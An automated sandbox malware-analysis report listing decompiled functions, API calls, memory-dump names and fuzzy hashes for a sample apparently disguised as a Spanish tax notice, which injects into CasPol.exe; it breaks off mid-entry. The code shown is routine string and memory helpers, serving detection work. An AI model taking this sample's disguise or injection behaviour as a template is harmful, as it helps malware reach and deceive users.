Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction ID: 0fbf8731d8bad765cb9f744f6f02bb9fbed9ce401ee6a58d62f233990fc3ff23
Opcode Fuzzy Hash: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction Fuzzy Hash: 31E01D334011205BC6115F55FD0475A77685F44B36F15407BF9847717147B45C535BD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405B7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405B7C(WCHAR* _a4) {
				WCHAR* _t5;
				WCHAR* _t7;

				_t7 = _a4;
				_t5 =  &(_t7[lstrlenW(_t7)]);
				while( *_t5 != 0x5c) {
					_push(_t5);
					_push(_t7);
					_t5 = CharPrevW();
					if(_t5 > _t7) {
						continue;
					}
					break;
				}
				 *_t5 =  *_t5 & 0x00000000;
				return  &(_t5[1]);
			}

0x00405b7d
0x00405b87
0x00405b8a
0x00405b90
0x00405b91
0x00405b92
0x00405b9a
0x00000000
0x00000000
0x00000000
0x00405b9a
0x00405b9c
0x00405ba4

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,80000000,?,?,00000006,00000008,0000000A), ref: 00405B82
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,80000000,?,?,00000006,00000008,0000000A), ref: 00405B92

Strings

C:\Users\user\Desktop, xrefs: 00405B7C

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction ID: 52ec536bf7c92ef41efc45dde312f484f3c591b0d09bb1e57af7322ca826a5e1
Opcode Fuzzy Hash: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction Fuzzy Hash: 85D05EB24009209AD3126704DC00DAF77B8EF11310746446AE840A6166D7787C818AAC

Uniqueness

Uniqueness Score: -1.00%

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100010E1(signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v0;
				void* _t17;
				signed int _t19;
				void* _t20;
				void* _t24;
				void* _t26;
				void* _t30;
				void* _t36;
				void* _t38;
				void* _t39;
				signed int _t41;
				void* _t42;
				void* _t51;
				void* _t52;
				signed short* _t54;
				void* _t56;
				void* _t59;
				void* _t61;

				 *0x1000406c = _a8;
				 *0x10004070 = _a16;
				 *0x10004074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004048, E100015B1, _t51, _t56);
				_t41 =  *0x1000406c +  *0x1000406c * 4 << 3;
				_t17 = E10001243();
				_v0 = _t17;
				_t52 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_t17);
				} else {
					do {
						_t19 =  *_t52 & 0x0000ffff;
						_t42 = 2;
						_t54 = _t52 + _t42;
						_t61 = _t19 - 0x6c;
						if(_t61 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t52 = _t54 + _t42;
								_t24 = E10001272(E100012BA(( *_t54 & 0x0000ffff) - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t26 = _t20 - _t42;
							if(_t26 == 0) {
								L10:
								_t52 =  &(_t54[1]);
								_t24 = E100012E1(( *_t54 & 0x0000ffff) - 0x30, E10001243());
								goto L13;
							}
							L7:
							if(_t26 == 1) {
								_t30 = GlobalAlloc(0x40, _t41 + 4);
								 *_t30 =  *0x10004040;
								 *0x10004040 = _t30;
								E10001563(_t30 + 4,  *0x10004074, _t41);
								_t59 = _t59 + 0xc;
							}
							goto L14;
						}
						if(_t61 == 0) {
							L17:
							_t33 =  *0x10004040;
							if( *0x10004040 != 0) {
								E10001563( *0x10004074, _t33 + 4, _t41);
								_t59 = _t59 + 0xc;
								_t36 =  *0x10004040;
								GlobalFree(_t36);
								 *0x10004040 =  *_t36;
							}
							goto L14;
						}
						_t38 = _t19 - 0x4c;
						if(_t38 == 0) {
							goto L17;
						}
						_t39 = _t38 - 4;
						if(_t39 == 0) {
							 *_t54 =  *_t54 + 0xa;
							goto L12;
						}
						_t26 = _t39 - _t42;
						if(_t26 == 0) {
							 *_t54 =  *_t54 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t52 != 0);
					_t17 = _v0;
					goto L16;
				}
			}

0x100010e6
0x100010f0
0x100010ff
0x1000110e
0x10001119
0x1000111c
0x1000112b
0x1000112f
0x10001131
0x100011d8
0x100011de
0x10001137
0x10001138
0x10001138
0x1000113d
0x1000113e
0x10001140
0x10001143
0x1000120d
0x10001210
0x100011b0
0x100011b6
0x100011bf
0x100011c4
0x100011c7
0x00000000
0x100011c7
0x10001212
0x10001214
0x10001196
0x1000119d
0x100011a5
0x00000000
0x100011a5
0x10001161
0x10001162
0x1000116a
0x10001177
0x1000117f
0x10001188
0x1000118d
0x1000118d
0x00000000
0x10001162
0x10001149
0x100011df
0x100011df
0x100011e6
0x100011f3
0x100011f8
0x100011fb
0x10001203
0x10001205
0x10001205
0x00000000
0x100011e6
0x1000114f
0x10001152
0x00000000
0x00000000
0x10001158
0x1000115b
0x100011ac
0x00000000
0x100011ac
0x1000115d
0x1000115f
0x10001192
0x00000000
0x10001192
0x00000000
0x100011c9
0x100011c9
0x100011d3
0x00000000
0x100011d7

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Uniqueness

Uniqueness Score: -1.00%

Function 00405CB6 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CB6(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405cc6
0x00405cc8
0x00405ccb
0x00405cf7
0x00405cd0
0x00405cd9
0x00405cde
0x00405ce9
0x00405cec
0x00405d08
0x00405cee
0x00405cf5
0x00000000
0x00405cf5
0x00405d01
0x00405d05
0x00405d05
0x00405cff
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC6
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405CDE
CharNextA.USER32(00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CEF
lstrlenA.KERNEL32(00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CF8

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 3ccce89ec89fcd17ace6fe24ed26798b8253689363ac01c92f586b0f3661b096
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 81F0F631204958FFC7029FA8DD04D9FBBA8EF16354B2540BAE840F7211D634EE01ABA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 5816, Parent PID: 7928COMMON

Executed Functions

Function 348720D8 Relevance: .7, Instructions: 738COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dc3e0d0d184d0c7f678c1f5d84e75c7fd5ad7ac6311eb275504f7fbc4e6433e
Instruction ID: 1a3ce8f60d7896b492c50887a2d1eb01e1e33d98108b35f2fed0f74df4f8c2cf
Opcode Fuzzy Hash: 2dc3e0d0d184d0c7f678c1f5d84e75c7fd5ad7ac6311eb275504f7fbc4e6433e
Instruction Fuzzy Hash: DF52AC7180C37AAFEB1B9FB8A49818ABBF1EF41740F11956DD5C4DE2A1DA318111DBC2

Uniqueness

Uniqueness Score: -1.00%

Function 34876DDF Relevance: .7, Instructions: 686COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4bdc2bd3de1967d4e4bd3d73e973d7871ff99a8472450cd1d51afd66a50724
Instruction ID: a409e7a7b8fd3c458a65b7b9cee605a859a1b1c0cc975c0df1a0a65f6a92ec1b
Opcode Fuzzy Hash: 7e4bdc2bd3de1967d4e4bd3d73e973d7871ff99a8472450cd1d51afd66a50724
Instruction Fuzzy Hash: 8962C174E012288FEB64DF69C894BDDBBB2BF89304F1481E9D449A7255DB34AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 348734F2 Relevance: .4, Instructions: 421COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ac96941b13f213028f8b66ec23866543b69510b632f8b41c1adee817038585
Instruction ID: f1decca3a765ab4d418c6c195f3588ed839673e1c6e1a3e17d8cf791e0e1c3df
Opcode Fuzzy Hash: 79ac96941b13f213028f8b66ec23866543b69510b632f8b41c1adee817038585
Instruction Fuzzy Hash: 20F12874E003189FEB19DFB9D4546AEBBB2BF88300B14852DE446EB394DF349802CB91

Uniqueness

Uniqueness Score: -1.00%

Function 34874858 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572b79179b8b5ffa2b0db1c9fd8b6e39ac4e236ce3004d80be95f545d86f8eb6
Instruction ID: 5155fd99fb080ad60497c7cfc6cb67b2f80b987e676ba434a662cbd95d639469
Opcode Fuzzy Hash: 572b79179b8b5ffa2b0db1c9fd8b6e39ac4e236ce3004d80be95f545d86f8eb6
Instruction Fuzzy Hash: 6151A274E01608DFDB54CFAAD98499DBBF2FF89300F208169E819AB364DB30A901CF50

Uniqueness

Uniqueness Score: -1.00%

Function 34870C91 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbbef3b41077dada7f8184da1b3ef2f67e4e5d62454a04f545ad8b04fd7b78e0
Instruction ID: 771ca8868f512ac81d8fa6b2dda647fbac023c27c8336191abf2eaa5dca8f418
Opcode Fuzzy Hash: fbbef3b41077dada7f8184da1b3ef2f67e4e5d62454a04f545ad8b04fd7b78e0
Instruction Fuzzy Hash: DE229D74A20219CFDB94DF64D994B9DBBB1BF88201F1086A9D44AB7261DF306D83CF84

Uniqueness

Uniqueness Score: -1.00%

Function 34870CA0 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e8ffeb1f1825ccc91af6222ebf7c2207d29620c027b3c1d9aca08c9f89e200
Instruction ID: b473d64d4c0e44ab0d16ebb77a132aed944c6930e98783aedea64a75a503083b
Opcode Fuzzy Hash: 71e8ffeb1f1825ccc91af6222ebf7c2207d29620c027b3c1d9aca08c9f89e200
Instruction Fuzzy Hash: 40129C74A20219CFDB94DF64D994B9DBBB1BF88205F1086A9D40AB7261DF306D83CF94

Uniqueness

Uniqueness Score: -1.00%

Function 34874CE1 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cad7b250fea4b0f338d8728d2cb7b466b4ad22899e6e820de28b7e6de5496a0
Instruction ID: 12edc98e57d9e13344d6d25baf85236ebcf850e14d4c4bd97385b065cc71d450
Opcode Fuzzy Hash: 9cad7b250fea4b0f338d8728d2cb7b466b4ad22899e6e820de28b7e6de5496a0
Instruction Fuzzy Hash: B151CC34521A93AFC7417F65D6BC2AEBBA2FB4F32B704AC01E44BA5450DF750486CB58

Uniqueness

Uniqueness Score: -1.00%

Function 34874CF0 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b9663a551765d18df1c98decff21d050b4f7d5c500bce9f7c841bd11d77695
Instruction ID: f89d70353b755faf0df1991159c5dbc2f8d5404ea7314652493f49ed3ded94e0
Opcode Fuzzy Hash: 84b9663a551765d18df1c98decff21d050b4f7d5c500bce9f7c841bd11d77695
Instruction Fuzzy Hash: 8651BB34521A97AFC7817F65D6BC2AEBBA6FB4F32B704AC01E44BA5400DF750486CB58

Uniqueness

Uniqueness Score: -1.00%

Function 348760AF Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded7a4621038b10b7fcbf917d528df3b3b2968755c4e39f622c6f0c6240fe0cb
Instruction ID: 38b16c3f2b836d99ecd87ddc946cdf43741bdb041007c8d0b933b6a1b73f7ba3
Opcode Fuzzy Hash: ded7a4621038b10b7fcbf917d528df3b3b2968755c4e39f622c6f0c6240fe0cb
Instruction Fuzzy Hash: CF51C074D11218CFDB24DFA5D894BDEBBB2FF88305F608269D805AB294DB355946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 34875507 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac28aa8c439004c3ccd83dd3045a1a3d8763f70add2c8b2b50e0ad4d6c24f215
Instruction ID: d84c1cf2f09887558c4a0d32c449d860e6e56d57e89e58cf9a6c515aef53b4e2
Opcode Fuzzy Hash: ac28aa8c439004c3ccd83dd3045a1a3d8763f70add2c8b2b50e0ad4d6c24f215
Instruction Fuzzy Hash: 494137B4E46218CFEB44CFA8D4A479CBBB6FF49302F649219D418B7650DB759842CF14

Uniqueness

Uniqueness Score: -1.00%

Function 348754A7 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c8cd43b242ad8427d322cda5b352691e82ce8e6d49029cf3734672715f221e
Instruction ID: 915a6bf80d433fd6c4ca911ec046d2f24f1cc79e5afff04ee68cd1905752836b
Opcode Fuzzy Hash: 48c8cd43b242ad8427d322cda5b352691e82ce8e6d49029cf3734672715f221e
Instruction Fuzzy Hash: 894102B0E46218CFEB40CFA8D4A4ADDBBB6FF49302F209619E418B7650DB759942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 34876EC6 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 511681933524fe693e8e65179c5bc42dade6d33786a353124bd8046b731c892f
Instruction ID: 6065d703c097c0eeefa27f7110cad6e9b6911d2f8f528d1b8c67273fdc317540
Opcode Fuzzy Hash: 511681933524fe693e8e65179c5bc42dade6d33786a353124bd8046b731c892f
Instruction Fuzzy Hash: 74418075A01228CFDB65CF68C894BD9BBB2BF89301F5056E9D409A7361DB35AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 34875358 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a33db87313987f465f14cca3a623d8b23062dcc99f8b403bab8b907ef72a8c
Instruction ID: 12bfc9a2af6c3b2b557c056bdc2b71b7137fc6a502a20232fc566a09db3af8d5
Opcode Fuzzy Hash: a1a33db87313987f465f14cca3a623d8b23062dcc99f8b403bab8b907ef72a8c
Instruction Fuzzy Hash: CF4146B0E02208CFEB04DFAAC994ADDBBB2BF89301F54D629D414B7654DB709942CF64

Uniqueness

Uniqueness Score: -1.00%

Function 34871FE8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836cf9e8f399a9eb5cf2058900ce43bee3ed9973a058e16e35dcf9c5de2387c4
Instruction ID: f0b052d7262b1f8137b4d389348fc83167e4345ee379874b2550fe1825a0eaa5
Opcode Fuzzy Hash: 836cf9e8f399a9eb5cf2058900ce43bee3ed9973a058e16e35dcf9c5de2387c4
Instruction Fuzzy Hash: F7219235A002049FDF14EF38C8609AE7BB5EF99354B10C129E9499B390DE35EA07CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 346AD404 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2493516018.00000000346AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 346AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_346ad000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 084c9407711c37b1809a19371d34eb5632c7f620a12cb0fabd3a9f83bc753977
Instruction ID: dc6fe1129f56486c1bb87070ff9c77169fdd39ce1703deb6b535f4ed51bd17b2
Opcode Fuzzy Hash: 084c9407711c37b1809a19371d34eb5632c7f620a12cb0fabd3a9f83bc753977
Instruction Fuzzy Hash: 7D21B0B5604740EFEB05DF14D980B16BB66EB94224F2486A9E9080A247C736E856CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 3487396D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc9e6c6c4c95bdc1a9dc70cae81d1b286585c0262413716e5857e49a58b660f8
Instruction ID: 8b3a6c7005dd8425e0146b2ba99646b8a625fa455aad9a43026072e3a1ae4d90
Opcode Fuzzy Hash: bc9e6c6c4c95bdc1a9dc70cae81d1b286585c0262413716e5857e49a58b660f8
Instruction Fuzzy Hash: 96319374E11308CFCB54DFA8D59499DBBB2FF49311B205569E81AAB360DB35AD42CF40

Uniqueness

Uniqueness Score: -1.00%

Function 34875349 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3436d24f4a637436aef4148e57b8147c39a3d1b3368c6475480f7cc31af0cfed
Instruction ID: 9fdef36dba8911855416a7ee0182610801999aec9ae19eab1a55d91a67c0bbad
Opcode Fuzzy Hash: 3436d24f4a637436aef4148e57b8147c39a3d1b3368c6475480f7cc31af0cfed
Instruction Fuzzy Hash: 651137B1E016089BEB04CFAAC4586DDBFB3AF8A311F18D629C418B6264DB7455068B14

Uniqueness

Uniqueness Score: -1.00%

Function 346AD3FF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2493516018.00000000346AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 346AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_346ad000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb18eb461f2cc2fce868f9cb6abb2cf705571e73265a00438eea93078da5f1d
Instruction ID: a5202758fecc82fbbcaf4d6b4964b33d60e00af44f9beadf7793487a009425a6
Opcode Fuzzy Hash: dbb18eb461f2cc2fce868f9cb6abb2cf705571e73265a00438eea93078da5f1d
Instruction Fuzzy Hash: 5411AFB6504680DFDB01CF10D5C4B06BF62FB94324F24C5A9D8490B657C33AE85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 34871EE8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66d6d12b1aea42f37630876a10967686dccc0bd0c167d7acf15532f300821137
Instruction ID: 221b93cfedd9281ca6ac9f55a5f25d5fbf5f428c49a86adef21bee5fc4f2b2f4
Opcode Fuzzy Hash: 66d6d12b1aea42f37630876a10967686dccc0bd0c167d7acf15532f300821137
